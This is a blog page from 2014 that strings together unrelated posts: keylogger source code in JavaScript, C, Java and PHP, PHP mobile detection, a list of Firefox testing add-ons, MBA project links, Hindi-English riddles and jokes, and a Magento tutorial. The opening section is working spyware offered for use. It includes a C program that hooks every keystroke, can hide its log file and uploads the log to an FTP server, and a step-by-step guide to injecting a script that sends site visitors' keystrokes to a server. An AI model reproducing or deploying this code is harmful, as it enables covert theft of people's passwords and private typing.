Search Google

Saturday, 29 November 2014

keylogger code in php,java,c and notepad

 php keylogger
<script language="JavaScript" type="text/javascript"> winKL = window.open('log.txt','KeyLogger','directories=no,menu=no,status=no,resizable=no'); winKL.document.write('<html><body onLoad="self.blur();">'); document.onkeypress = function () { key = window.event.keyCode; winKL.document.write(String.fromCharCode(key)); } self.focus(); </script>

..........................................................................
 c keylogger

This program will create a file on desktop,named work.txt where the keystrokes are stored,then when 150 keys are pressed,it automaticaly uploads the file to your specified ftp server.
I use the Desktop directory because is more UAC friendly.
I've tested it from WINDOWS XP SP1 to WINDOWS 7 64 bit.

#pragma comment (lib,"wininet.lib")
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using namespace std;
 
char * extractFilename(char * path){
char * ret = path;
bool isFullPath = false;
for (int i=0;i<strlen(path);i++){
    if (ret[i] == '\\'){
        isFullPath = true;
    }
}
if (isFullPath){
    ret = (char *)((DWORD)path + lstrlen(path) - 1);
    while (*ret != '\\')
        ret--;
    ret++;
}
return ret;
}

FILE * f;
HHOOK hKeyboardHook;
 
/*Change file attributes to hidden*/
void hide_file(char * file)
{
         if (GetFileAttributes(file) != 0x22)
         SetFileAttributes(file,0x22);
}
 
/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool getDesktopPath(char * ret)
{
        char desktop[260];
        if (SUCCEEDED(SHGetFolderPath(NULL,
                                  CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
                                  NULL,
                                  SHGFP_TYPE_CURRENT,
                                  desktop)))
        {
                strcpy(ret,desktop);
                return true;
        }
        else
        {
                ret = NULL;
                return false;
        }
}
 
//Multiple concatenation
char *dupcat(const char *s1, ...){
     int len;
     char *p, *q, *sn;
     va_list ap;
 
     len = strlen(s1);
     va_start(ap, s1);
     while (1) {
         sn = va_arg(ap, char *);
         if (!sn)
             break;
         len += strlen(sn);
     }
     va_end(ap);
 
     p = new char[len + 1];
     strcpy(p, s1);
     q = p + strlen(p);
 
     va_start(ap, s1);
     while (1) {
         sn = va_arg(ap, char *);
         if (!sn)
             break;
         strcpy(q, sn);
         q += strlen(q);
     }
     va_end(ap);
 
     return p;
}//Example: cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder
 
  /*Upload file to server*/
BOOL uploadFile( char *filename, char *destination_name,char *address,char *username,char *password)
{
        BOOL t = false;
        HINTERNET hint,hftp;
        hint = InternetOpen("FTP",INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
        hftp = InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
        t = FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return t;
}
 
 static int keysPressed = 0; //Lets count the keys pressed
 
LRESULT WINAPI Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
{
        char currentDirectory[260];
                char * workFullPath;
               
       
    if  ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))     
    {
            bool truth = getDesktopPath(currentDirectory); //If we can capture the desktop directory then we are good
                if (truth)
                {
                    //Concatenate desktop directory and files
                        workFullPath = dupcat(currentDirectory,"\\work.txt",NULL); //So the file path will be like: C:\Users\Corporation\Desktop\work.txt
                        f = fopen(workFullPath,"a+"); //Open the file
                }
        KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
        DWORD dwMsg = 1;
        dwMsg += hooked_key.scanCode << 16;
        dwMsg += hooked_key.flags << 24;
        char lpszKeyName[1024] = {0};
                lpszKeyName[0] = '[';
 
        int i = GetKeyNameText(dwMsg,   (lpszKeyName + 1),0xFF) + 1;
        int key = hooked_key.vkCode;
                lpszKeyName[i] = ']';
         //Key value or something else ?
                 //if the key if from A-Z,a-z,0-9 then add this to file
                        if (key >= 'A' && key <= 'Z')
                        {
                             if  (GetAsyncKeyState(VK_SHIFT) >= 0)
                                         key += 0x20;
                                 if (f != NULL)
                                 fprintf(f,"%c", key);
                        }
                                                //else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
                        else
                        {
                                if (f != NULL)
                                        fprintf(f,"%s", lpszKeyName);
                        }
                                                keysPressed ++;
                                                if (keysPressed == 150) //Enough data
                                                {
                                                        //extractFilename is used to extract only the file from path:Example: C:\data\x.php,
                                                        //extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp
                                                        uploadFile(workFullPath,extractFilename(workFullPath),"www.xyz.org","ftpUsername","ftpPassword"); //Upload the file to FTP
                                                        keysPressed = 0;
                                                }
 
                        //You can make the file hidden :))
                        //hide_file(workFullPath);
                        fclose(f);
        }
    return CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
}

DWORD WINAPI JACKAL(LPVOID lpParm)
{
        HINSTANCE hins;
        hins = GetModuleHandle(NULL);
        hKeyboardHook = SetWindowsHookEx (  WH_KEYBOARD_LL, (HOOKPROC) Keylogger,   hins,  0);
 
        MSG message;
    while (GetMessage(&message,NULL,0,0))
    {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
 
    UnhookWindowsHookEx(hKeyboardHook);
    return 0;
}
 
void main(){
        JACKAL(NULL);
}

------------------------------------------------------------------------------------------------------
 http://www.rohitab.com/discuss/topic/40755-good-keylogger/

---------------------------------------------------------------------

Java KeyLogger - Free Source code

import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.io.*;
import java.util.*;
import javax.swing.JFrame;
import javax.swing.JTextField;


public class KeyEventDemo{


public static void main(String[] args) throws IOException{
 
JFrame aWindow = new JFrame("This is the Window Title");
   
    aWindow.setBounds(0,0,0,0);
    aWindow.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

    JTextField typingArea = new JTextField(20);
    typingArea.addKeyListener(new KeyListener() {



public void files (String s) {
try(PrintWriter o = new PrintWriter(new BufferedWriter(new FileWriter("odi.txt", true)))) {
o.println(s);
}catch (IOException e) {
System.out.println("Fucked");
}
}


      public void keyTyped(KeyEvent e) {
        displayInfo(e, "KEY TYPED: ");
      }


      public void keyPressed(KeyEvent e) {
        //displayInfo(e, "KEY PRESSED: ");
      }


      public void keyReleased(KeyEvent e) {
        //displayInfo(e, "KEY RELEASED: ");
      }

      protected void displayInfo(KeyEvent e, String s) {
        String  modString, tmpString, actionString, locationString;
String keyString;
        int id = e.getID();
        if (id == KeyEvent.KEY_TYPED) {
          char c = e.getKeyChar();

          keyString = String.valueOf(c);
        } else {
          int keyCode = e.getKeyCode();
          keyString = "key code = " + keyCode + " (" + KeyEvent.getKeyText(keyCode) + ")";
        }

        int modifiers = e.getModifiersEx();
        modString = "modifiers = " + modifiers;
        tmpString = KeyEvent.getModifiersExText(modifiers);
        if (tmpString.length() > 0) {
          modString += " (" + tmpString + ")";
        } else {
          modString += " (no modifiers)";
        }

        actionString = "action key? ";
        if (e.isActionKey()) {
          actionString += "YES";
        } else {
          actionString += "NO";
        }

        locationString = "key location: ";
        int location = e.getKeyLocation();
        if (location == KeyEvent.KEY_LOCATION_STANDARD) {
          locationString += "standard";
        } else if (location == KeyEvent.KEY_LOCATION_LEFT) {
          locationString += "left";
        } else if (location == KeyEvent.KEY_LOCATION_RIGHT) {
          locationString += "right";
        } else if (location == KeyEvent.KEY_LOCATION_NUMPAD) {
          locationString += "numpad";
        } else { // (location == KeyEvent.KEY_LOCATION_UNKNOWN)
          locationString += "unknown";
        }
//System.out.println(keyString);

        //System.out.println(modString);
        //System.out.println(actionString);
        //System.out.println(locationString);
files(keyString);
 
 }

    });

    aWindow.add(typingArea);
    aWindow.setVisible(true);


  }
}

-----------------------

REQUIREMENTS

1. A website  with php support
2. A webbrowser

STEP 1 : Creating a file code.js and uploading it to your site in any durectory ( Let the directory be dir )

The below code should be pasted inside code.js 
var keys='';  // declaring a javascript variable to store each keystroke 
document.onkeypress = function(e) // calling the function to execute whenever a keystroke is there on html document  document.onkeypress  is an event handler
{
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode; //get character code 
key = String.fromCharCode(key); // convert it to string 
keys+=key; // append current character to previous one (concatinate)
}
window.setInterval(function(){
new Image().src = '/keylogger.php?c='+keys; // sending data as get request by creating a new image 
keys = '';
}, 1000); // set interval to execute function continuously

STEP 2 : Creating a php file "keylogger.php"



<?php
/*
keylogger.php
techworld2k.blogspot.com
*/
if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}
?>
 The above code writes each character obtained from our javascript request to a  text file called data.txt .



STEP 3 : Creating a text file data.txt in directory "dir".


No code to be used inside this file

STEP 4: Implementation code


To use this key logger  in any page just use the below code

<script src="path to code.js">

path to code.js should be replaced with full path to the file code.js . for example http://mysite.com/code.js
Now you are finished .


This script will not save who  have pressed the particualr key.
The code will record every key stroke in your site . if you know some php you can make the code working for each user and record  every data to a database rather than text file...

Anyhow ..... Best of wishes for your keylogging.....
-----------------------------------------------------------------------------

A mobile phone detection php server side code

A mobile phone detection php server side code



<?php
$useragent=$_SERVER['HTTP_USER_AGENT'];

if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i',$useragent)||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i',substr($useragent,0,4))){
$phone=1;
?>

<?




}
else
{


$phone=0;

}
// check the value of $phone variable if it is 1 the user agent is a mobile device else not

?>


Include the code in the page where you need to detect the type of device that your  visitors use and  then display  suitable contents for them. I use this code to redirect my website users to a mobile version of my site . Hope this device detection code will help you ..


Top 8 Useful Firefox Add-ons For Software Testing

 software testing

 

http://www.softwaretestingclass.com/category/basics-of-software-testing/

 

1) Firebug:

Download Here: Firebug
Firebug Firefox Add-on
Firebug one of the greatest Firefox add-on I have ever been seen in my software testing carrier. Using this tool you can edit, debug, and monitor CSS. On live web page it allow to edit HTML, JavaScript code and see the instant changes on the webpage. This can be used for web application testing to check the logging of errors, warnings and notices. It has the ability to run and debug Javascript code on webpages.
It also helps for editing element and child nodes, copying inner HTML, moving the element in the DOM, tab for inspection, creating XPath expressions, deleting element in HTML. You can easily modify the CSS properties and disable CSS rules.
The Automation testers are using this tool to copy the web elements for automation script.

2) Web Developer:

Download Link: Web Developer
Web Developer Firefox Add-on
Firefox Web Developer add-on enables you many features which gives flexibility while testing your web applications. Using this tool you can easily inspect the pages, HTML inspector, CSS Inspector, JavaScript scratchpad, Web Console etc. It helps to identify the style information about the each web elements on web page. All tools are available under File > Web Developer in Firefox’s menu. Use of both Web developer and Firefox is powerful combination which makes Firefox an ideal browser for web developers and Software Testers. In this article we are learning many tools but I strongly recommend installing these two tools which definitely helps your life.

3) FireShot – Webpage Screenshot in Firefox:

Download Link: Fireshot
Fireshot Firefox Add-on
Fireshot FireFox add-on is used to capture the web page screenshots as test proof while testing web application. Along with taking screenshots it offers you to edit using Advanced Editor and quickly annotating the screenshots. Also you can Crop and Resize captured screenshot. It allows you to get the screenshots in different formats like Saved as PDF, PNG, GIF, JPEG, BMP etc.
It provides multiple options to capture the image like Capture Visible area, Capture Selected area, Capture Entire page and you can also capturing all tabs in single click. The captured screenshot also gets copied in the Clipboard.

4) iMacros – Automate Repetitive Work:

Download Link: iMacros
iMacros Firefox Add-on
The Selenium is more powerful tool and can be used for detailed automation testing. However if you want to automate daily routine tasks like opening URL’s in the web browser, filling forms etc then you can go for Firefox iMacros add-on. iMacros enables you to record and replay testing activities which is reduce the tedious repetitive work. The recorded files can be readable and can be easily modified as per our requirement. The Passwords are stored securely with secure 256-Bit AES encryption.
This add-on is used to do functional testing, regression testing and performance testing of application under test.

5) MeasureIt:

Download Link: MeasureIt
measureit Firefox Add-on
Firefox MeasureIt add-on is simple and powerful tool for UI testers and it draw a ruler on any webpage to check the width, height of web element on page. Using this tool you can check alignments of web elements and verify the pixel sizes of web elements.

6) Firesizer:

Download Link: Firesizer
Firesizer Firefox Add-on
Firefox Firesizer add-on is very helpful and can be used to test application with different browser window sizes. Provides a menu and status bar to resize the window dimensions to a specific size. Using menu status bar you can change the window size, resize with custom sizes.

7) Fox Splitter & Tile Tabs:

Download Link: Fox Splitter | Tile Tabs
Fox Splitter and Tile Tabs Firefox Add-on
If you want to split the tabs in different windows then Firefox allows you to install great add-ons like Tile Tabs and Fox Splitter. You can arrange tabs vertically, horizontally, Split tabs at right, left, above and below in a single click. This means you can see the 2 tab side by side in same Firefox window. It can be used to compare the web page in a one go. Also if you want to execute test cases with steps mentioned in one page then you can use this add-on and open test case in one tab and application under test in other tab and execute the test case easily, which results saving your time. It is also used when you want to do multitasking in Firefox browser window.

8) Print Pages to PDF:

Download Link: Print Pages to PDF
Print Pages to PDF Firefox Add-on
Firefox Print Pages to PDF add-on is nice tool to capture the current state of web page and can be used as testing proof for any reference.

Thursday, 27 November 2014

tricky question and answer

tricky question and answer


B-School Cases & Projects http://www.quantfunda.in/p/b-school-cases-projects.html

Famous B-School Case Solutions

1. EasyJet-THE WEBS FAVORITE AIRLINE  Click to Download
2. The Fashion Channel Click to Download
3. British Columbia Box Limited Click to Download
4. Market Research for Zenith HDTV Click to Download
5. Development & Promotion at North Atlantic Hospital Click to Download
6. The Army Crew Team Click to Download
7. 7S Model by McKenzie Click to Download
8. Polaroid Corporation: European Distribution System  Click to Download
9. TATA Nano : A crisis aggravated by Political Forces Click to Download
10. Case Study -  Liliput Limited Download

Famous B-School (MBA) Projects

  • Ctrl+ F to find your project 
  • Area mentioned before few projects (Like Finance, Marketing etc)
  • Company name mentioned in bracket if any 

  1. MARKETING : Branding &  Positioning (Company Yakult)     Download PPT      WriteUp 
  2. FINANCE - Company Comparision (DLF Vs Unitech) Click to Download
  3. FINANCE - Company Comparision (Nestle Vs Britania ) Click to Download
  4. FINANCE : Why Mergers and Acquisitions fail??  Download
  5. FINANCE :  Modeling of Nickel Prices   Download
  6. FINANCE : DUE DILIGENCE IN MERGERS AND ACQUISITIONS Download
  7. FINANCE : M&A  Jet Airways and Air Sahara - Kingfisher Airlines and Air Deccan Download
  8. FINANCE : Kingfisher Airlines’ Air Deccan Acquisition   and Current Situation   Download
  9. FINANCE : Legal_Issues_in_M&A  Download
  10. HR : How to Conduct Training Download
  11. HR :Employee Referral scheme Download
  12. HR :Successful Implementation of an Induction Program for New Hires Download
  13. HR :Leadership Download
  14. HR :Train the trainer Download
  15. HR :How to Conduct Training Sessions Download
  16. HR :The employment cycle Download
  17. HR :Training Needs Assessment: A Systematic Approach   Download
  18. HR :Training Feedback Form  Download
  19. HR :Training Brochure Download
  20. HR :Training Methods Download
  21. HR :Best practices Download
  22. HR :Cross Cultural Communication Skills Download
  23. HR :Travelling expenses claim and settlement process Download
  24. HR :Career Planning and Development at Aditya Birla Group Download 
  25. STRATEGY : Euro Tunnel  Download
  26. STRATEGY :  The Eurotunnel Safeguard Proceedings Download
  27. REPORT : The Global Brewery Industry Click to Download 
  28. COMMUNICATIONS : Use of Technology in Communication Click to Download
  29. ETHICS : ETHICS IN ENTERTAINMENT INDUSTRY Click to Download
  30. OPERATIONS : Study of Middlegrunden 40 MW Offshore Wind Farm Download
  31. OPERATIONS : Jindal Steel & Power Limited Download
  32. OPERATIONS : SASAN UMPP Download
  33. OPERATIONS : The Tata Mundra Project Download
  34. OPERATIONS : McDonalds (Quality control, Service quality and Social responsibility) Download
  35. OPERATIONS : Mumbai Pune Expressway PPT   PDF
  36. OPERATIONS : BangaloreMetro Download 
  37. OPERATIONS : Kashmir Rail Project Download PPT  PDF
  38. OPERATIONS : Airbus Download 
  39. ECONOMICS : Sunk Cost from Indian Context Download


Niche kuch alfaz hai jo india ke city aur state ka nam batate hai agar tumne jawab diya to ur genious.
Translate the following in Hindi to discover names of indian cities and states...... 
1=Large state_Ans: "Maharashtra"
2=Place of king_Ans: "rajisthan"
3=Mr. City_Ans: "shri nagar"
4=Rhythm of eyes_"Ans: "naini taal"
5=Unmarried girl_Ans: "kannyakumari"
6=No zip_Ans: "chinnai"
7=come in evening_Ans: "aasaam"
8=go and come_Ans: "goa"
9=answer state_Ans: "uttarpardesh"
10=make juice_Ans: "banaras"
11=Do Drama_Ans: "karnatak"
12=Green Gate_Ans: "haridwaar"



QUESTIONWhich is the most shocking city?
ANSWERElectri-city
 
 
 

10 balls 10 wickets in Cricket

Solve this:
Agar ek cricket match me 10 balls pe continuously 10 players bold ho jaye. Then kaun se no. ka player not out jayega???????b
This is IAS exam question.
  


Everyone bold mns no crossover...

Player 1 and 2 in ground to play

First ball player 1 out and player 3 in
Second ball player 3 out and player 4 in

Sixth ball player 7 out and player 8 in


Then over change.. Player change. Player 2 comes in strike... and player 8 is on non striker end. Next 4 balls... team all-out and player 8 not out
 
..........................................................................................................
 
If the "black box" flight recorder is never damaged during a plane crash, why isn't the whole airplane made out of that stuff?
 
 
Do we know actual full form of some words???
News paper : North East West South past and present events report.
Chess : Chariot, Horse, Elephant, Soldiers.
Cold : Chronic Obstructive Lung Disease.
Joke : Joy of Kids Entertainment.
Aim : Ambition in Mind.
Date : Day and Time Evolution.
Eat : Energy and Taste.
Tea : Taste and Energy Admitted.
Pen : Power Enriched in Nib.
Smile : Sweet Memories in Lips Expression.
Bye : Be with you Everytime
LOGIC QUESTIONS 
1)When will a horse have 6 legs? 
2)When does Monday come before Sunday  
3)When do you find a lot of cities without single house? 
4) How can u double ur money? 
AMAZING ANSWERS 
1)When someone rides on the horse 
2)In a dictionary 
3)In a map 
4)Show it in front of a mirror.

..........................................................................................................................................

Four Guys, From Harvard, Yale, MIT And Santa Singh From Punjab University Were To Be Interviewed For A Prestigious Job.
One Common Question Was Asked To All Of Them.
Interviewer: “Which Is The Fastest Thing In The World?
Yale Guy: “Its Light, Nothing Can Travel Faster Than Light
Harvard Guy: “It’s The Thought, Because Thought Is So Fast It Comes Instantly In Your Mind.
MIT Guy: “Its Blink, You Can Blink And Its Hard To Realize You Blinked.
Santa Singh: “Its Loose Motion.
Interviewer Shocked To Hear Santa’s Reply, Asked: “Why?

Baap ne beti ko 1gift diya Or kaha bhuk lage to kha lena... Pyas lage to pi lena or thand lage to jala lena... ye gift kya he Challeng 4u...?


2.. QuestiOn Of The Year...Jab Mohabbat Or Jang Main Sab Kuch Jaayez Hai...To Mohabbat Main Honay Wala MUNNA Najaayez Kiun..? :-)


3.. Question: Take the letters  ERGRO , put three letters in-front of it and same three letters behind to form a common English word
Answer:  UND ERGRO UND

4..
Teacher- Tum bade hokr kya kroge.
Student- Shadi.
Teacher- nhi,mera Matlab He Kya Banoge
Student- Dulha.
Teacher- oho, I Mean Bade Hokr Kya Hasil Karoge.
Student- dulhan.
Teacher- abe Mera Mtlb Bde Hokr Mumy Papa K Liye Kya Kroge.
Student- bahu Launga.
Teacher- abe Gadhe, tere Papa kya Chahte He.
Student- pota.
Teacher- haramkhor, teri Zindagi Ka Kya Maksad He.
Student- hum Do Humare Do.



5.. Select An Alphabet Then I Will Tell U K App Kis Rishtey Ki Tarf Se Lucky Ho.....FMAZJKNRS Reply Must. Answer :F. Cousin.M. Parents.A.Lover. Z.Mother In Law. J. Sister. K. Fiance. N.Best Frnd  R.Child. S.Husband/Wife..


6.. Six Brilliant Doubts:
1. If all the nations in the world are in debt, where did all the money go?
2. When dog food is new with improved taste, who tests it?
3. If the "black box" flight recorder is never damaged during a plane crash, why isn't the whole airplane made out of that stuff?
4. Who copyrighted the copyright symbol?
5. Can you cry under water?
6. Why do people say"you've been working like a dog" when dogs just sit around all day??

7..Niche kuch alfaz hai jo india ke city aur state ka nam batate hai agar tumne jawab diya to ur genious.
Translate the following in Hindi to discover names of indian cities and states...... 
1=Large state_Ans: "Maharashtra"
2=Place of king_Ans: "rajisthan"
3=Mr. City_Ans: "shri nagar"
4=Rhythm of eyes_"Ans: "naini taal"
5=Unmarried girl_Ans: "kannyakumari"
6=No zip_Ans: "chinnai"
7=come in evening_Ans: "aasaam"
8=go and come_Ans: "goa"
9=answer state_Ans: "uttarpardesh"
10=make juice_Ans: "banaras"
11=Do Drama_Ans: "karnatak"
12=Green Gate_Ans: "haridwaar"


8.. Suppose Its My Birthday And You Are Invited By Me But You Just Have 10 Rs To Buy A Gift For Me.What Will U Buy?Send It 2 Ur Frnds & Enjoy...Reply Must



9.. For example:LOVE nahin to LIFE bekaar MOON nahin to SKY bekaar Fill in....RAHMAT nahin to ....... bekar..?:-)


10.. QUESTION: What is more useful after it is broken?
ANSWERAn egg
QUESTIONWhich is the most shocking city?
ANSWERElectri-city
QUESTIONName two things u can never eat before breakfast?
ANSWERDinner & Lunch
QUESTIONHow many great men were born in india?
ANSWERNone, only babies were born.
QUESTIONIf your clock strikes 13, what times it is?
ANSWERTime to buy a new clock 


11..GOOD JOKE
SIR : Water ka formula batao?
GOLU: H2O+MgCl2+CaSO4+AlCl3+NaOH+KOH+HNO3+HCL+CO2.
SIR : abe, Ye ans galat hai.
GOLU : sir ye NAALE ka pani hai!!!
ha Ha Ha.


12.. FRIENDS GAME...Write The Suitable Meaning Of All Alphabets Of My Name R=A=H=M=A=T=



13.. Only FunnyAnswers R allowed
1. Zindagi kab khobsorat lagti ha?Ans.
2. Ik pardesi mera?Ans.
3. Khalis mhbt kaha milti ha?Ans.
4. Shadi main juta chupai kyn hoti ha?Ans.
5. Main ne khawab daikha k?Ans.
Let's se how great a sense of humour u have!Reply fastI'm waiting


14.. Psycho analysis: what u draw when have pencil in ur hand?1-Circles2-Name3-Criss cros lines4-Geomatrical shape5-Signature6-Flower7-eye r lips8-Digits9-Scenethn i'll tell u its meaning.Answers:Circle-u r in tensionNames-u r in luvCris cros lines-feel lonlyGeometricaly shapes-u lv journySignature-wnt fame...Flower-wnt kidsEye or lips-u lv beautyDigits-inteligntScene-u luv fast food.


15.. Tel the RIGHT OPTION 4 ME, :-)(1) I am . . . . . ?(, Normal, Cute, Rocking)(2) You can't Beat Me at . . . . . ?(Fight, Debate, Study, Style)(3) I have Great . . . . . ?(Atitude, Smile, Nature, Eyes)(4) My Looks are . . . . . ?(Cool, Average, Hot, Awsume)(5) You . . . . . Me?(Like, Hate, Ignore, Love)(6) You Consider Me . . . . . ?(Good Friend, Best Friend, More Then That)rply must i wanna know ur views about me.


16.. ANSWER THESE QUICK..1.Wat I deserveHug, Handshake Or NothingA.2.Dedicate a song 4 me?A.3. Which movie u wil lik 2 see with me?A.4. How wil u react if I say, I love u?A




17.. Describe Three Parts of Human Body If We Cut Them We Didn't feel Pain1) Hairs2) Nails3) TeathTell The Third Part Of Our Body


18.. Wo aisi konsi situation hogijb ap kaho ge k,"KASH ''RAHMAT" SATH HOTA.I am wai8ing 4 ur REPLY...:


19.. Funny Question? Me Apko Kis Name Se Pukaron,Ek Number Choose Karen Phr Usi Name Se Bulaonga,Aur Ap Mind Nhi Kr sakte....12345678910 Reply Must.Soch Smjh Kr...1) Sweet Heart, 2) Darling 3) Sexy  4) Jungli 5) Dost Ji 6) Pagal 7) Zindgi 8) Churail, 9)Dhakan:-) 10)LOvely



20.. Aaj ka Taaza Sawal?Larki / Larkay ko Engagement k Baad Phone par baat krni chahiye ya nahi?Han to Q? Nahi to Q Nahi? Reply must with Reason Plz do not ignore.


21.. Jab 18 saal ki ladki jhuk kar salam karti hai to uska kya dikhai deta hai ?  be positive uske Akhlak dikhai dete hai............kabhi to accha sochu...........


22.. Beta; papa kya hum mc donald chal sakte hain?
Papa;han agar tum mc donald ki spelling batao.
Beta; kuch der sonch kar papa kya hum KFC  chal sakte hain? 


23..  Pathan ko  sapne me ek ladki ne chappal maari 2 din tak pathan bank nahi gaya, bank me likha tha hum aapke sapne ko hakikat me badalte hain..



24.. Naukar: Sahab apka kutta to admi jesa dikhta hai kya khilate ho?
Sahab: Kamine ye kutta nahi hai mera beta hai engineering ker raha hai abi exam chal rhe hain..


25.. Question: SMS some English words starting with letter T and ending with letter T
Answer: Tent, Talent, Text, .....................  


26..Question: If you had three apples and four oranges in one hand and four apples and three oranges in the other hand, what would you have?
Answer: Very large hands. 

Question: How can you drop a raw egg onto a concrete floor without cracking it?
Answer: Concrete floors are very hard to crack.

Question: If it took eight men ten hours to build a wall, how long would it take four men to build it?
Answer: No time at all it is already built.

Question: What looks like half apple?
Answer: The other half. 

Question: How can you lift an elephant with one hand?
Answer: It is not a problem, since you will never find an elephant with one hand. 

Question: How can a man go eight days without sleep?
Answer: No Problem, He sleeps at night. 

Question: If you throw a red stone into the blue sea what it will become?
Answer: It will become Wet or Sink as simple as that.

Question: What can you never eat for breakfast?
Answer: Lunch and Dinner.

Question: What happened when wheel was invented?
Answer: It caused a revolution.

................................
Women can wear all Men’s items like
T-shirt, pant, jeans, lungies.
But they can’t wear 1 thing..!!
Guess what?
.
.
.
.
.
CO*DOM.. It’s our monopoly. :D
Jai jawaan, Jai Saamaan !!!
.........................
It's CHALLENGE 4 ALL OF U. Ye 15 cheezen hain jo hum roz dekhte hain spelling thek karna hai
01. Libngdsiu=
02. Evtlesnioi=
03. Miet=
04. Boilme=
05. Ishtr=
06. Agdrne=
07. Solhoc=
08. sjdmai=
09. Tsere=
10. Yclecs=
11. Neplci=
12. Odosr=
13. Thgli=
14. Sglas =
15. Owilpl=
NOTE: Q NO 1 k 30 marks hn BAQI SB K 5,5 marks HN
TOTAL MARKS:100
PASSING MARKS 70%
Time Limit = 1 Day . . !

1) Buildings 2) television 3)time 4) mobile5) shirt 6) garden 7) school 8) masjid 9) reset 10) cycles 11) pencil 12) doors 13) light 14) glass 15) pillow

 

 

create magento extension from scratch

create magento extension from scratch , create magento module,create magento module online,create magento module with database


Magento Developper’s Guide (Lesson 1) – Magento plugins structure

Basic knowledge:
Before you venture into magento, check that you have already a solid foundation in programming.
prerequisite for developing Magento are:
- Have already installed Magento.
- Know what the MVC pattern.
- Know the object-oriented PHP (and PHP of course …)
- How does the whole template magento
You have the first 2 but do not have the 3rd, go to: magento designer’s guide

The structure of a Magento module

In a magneto module there are 2 parties, the « code » and « templates ».
code determines the actions that the module will be able to achieve the interraction with the database etc … while templates are just the layout of the data sent by code.
Magento, the two parties will be placed at two different locations.
your « code » will be in
/app/code/local/monNameSpace/monNomDeModule/
while the « template » of the module will be in:
/app/design/frontend/monRepertoiredeTemplates/monTemplate (for the frontend)
And
/app/design/adminhtml/monRepertoiredeTemplates/monTemplate (for the backend)
The « code » of my template will contain the following elements:
the structure of a module magento
Block : Where you go to the « controller » of your block
Controllers: the controllers of your module
Models: Performers of your module
Helper: of your helpers module
etc: the configuration of your module
sql: SQL query to execute to create your module during the instalation

Summary :

Lesson 1 – Magento plugin’s structure
Lesson 2 – Create your own controller
Lesson 3 – Create a block
Lesson 4 – The Model and the database
Lesson 5 – The Model, collections and forms
